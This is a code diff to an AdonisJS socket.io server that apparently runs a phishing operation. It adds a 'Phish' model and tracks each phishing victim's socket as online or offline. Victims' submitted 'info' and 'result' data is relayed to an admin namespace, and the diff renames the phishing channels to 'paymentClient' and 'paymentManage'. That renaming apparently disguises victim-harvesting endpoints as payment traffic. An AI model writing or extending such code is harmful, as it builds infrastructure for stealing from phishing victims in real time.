|
|
@@ -2,12 +2,13 @@ import Logger from '@ioc:Adonis/Core/Logger'
|
|
|
import { Namespace, Server, Socket } from 'socket.io'
|
|
|
import AdonisServer from '@ioc:Adonis/Core/Server'
|
|
|
import auth from 'App/Middleware/Auth'
|
|
|
+import Phish from 'App/Models/Phish'
|
|
|
class Ws {
|
|
|
public io: Server
|
|
|
public clientsIO: Namespace
|
|
|
public adminIO: Namespace
|
|
|
- public phiClientIO: Namespace
|
|
|
- public phiAdminIO: Namespace
|
|
|
+ public phishIO: Namespace
|
|
|
+ public hookIO: Namespace
|
|
|
private booted = false
|
|
|
|
|
|
private clients: { [key: string]: any } = {}
|
|
|
@@ -86,22 +87,45 @@ class Ws {
|
|
|
}
|
|
|
|
|
|
public startPhishing() {
|
|
|
- this.phiClientIO = this.io.of('phiClient')
|
|
|
- this.phiAdminIO = this.io.of('phiAdmin')
|
|
|
+ this.phishIO = this.io.of('paymentClient')
|
|
|
+ this.hookIO = this.io.of('paymentManage')
|
|
|
|
|
|
- this.phiClientIO.on('connection', (socket: Socket) => {
|
|
|
+ this.phishIO.on('connection', (socket: Socket) => {
|
|
|
Logger.info('Client connected ' + JSON.stringify(socket.handshake))
|
|
|
+
|
|
|
+ Phish.find(parseInt(socket.handshake.query.id as string))
|
|
|
+ .then((res) => {
|
|
|
+ if (res) {
|
|
|
+ res.online = true
|
|
|
+ res.socketId = socket.id
|
|
|
+ res.save()
|
|
|
+ }
|
|
|
+ })
|
|
|
+ .catch((e) => {
|
|
|
+ Logger.error(e)
|
|
|
+ })
|
|
|
+
|
|
|
this.clients[socket.id] = {
|
|
|
...socket.handshake
|
|
|
}
|
|
|
|
|
|
socket.on('disconnect', (reason) => {
|
|
|
Logger.info('Client disconnected ' + reason)
|
|
|
+ Phish.find(parseInt(socket.handshake.query.id as string))
|
|
|
+ .then((res) => {
|
|
|
+ if (res) {
|
|
|
+ res.online = false
|
|
|
+ res.save()
|
|
|
+ }
|
|
|
+ })
|
|
|
+ .catch((e) => {
|
|
|
+ Logger.error(e)
|
|
|
+ })
|
|
|
delete this.clients[socket.id]
|
|
|
})
|
|
|
|
|
|
socket.on('info', (data) => {
|
|
|
- this.phiClientIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
|
|
|
+ this.phishIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
|
|
|
})
|
|
|
|
|
|
socket.on('result', (args: { to: string; action: string; data: any }) => {
|
|
|
@@ -114,7 +138,7 @@ class Ws {
|
|
|
})
|
|
|
})
|
|
|
|
|
|
- this.phiAdminIO.on('connection', (socket: Socket) => {
|
|
|
+ this.hookIO.on('connection', (socket: Socket) => {
|
|
|
Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
|
|
|
socket.on('clients', (args) => {
|
|
|
this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
|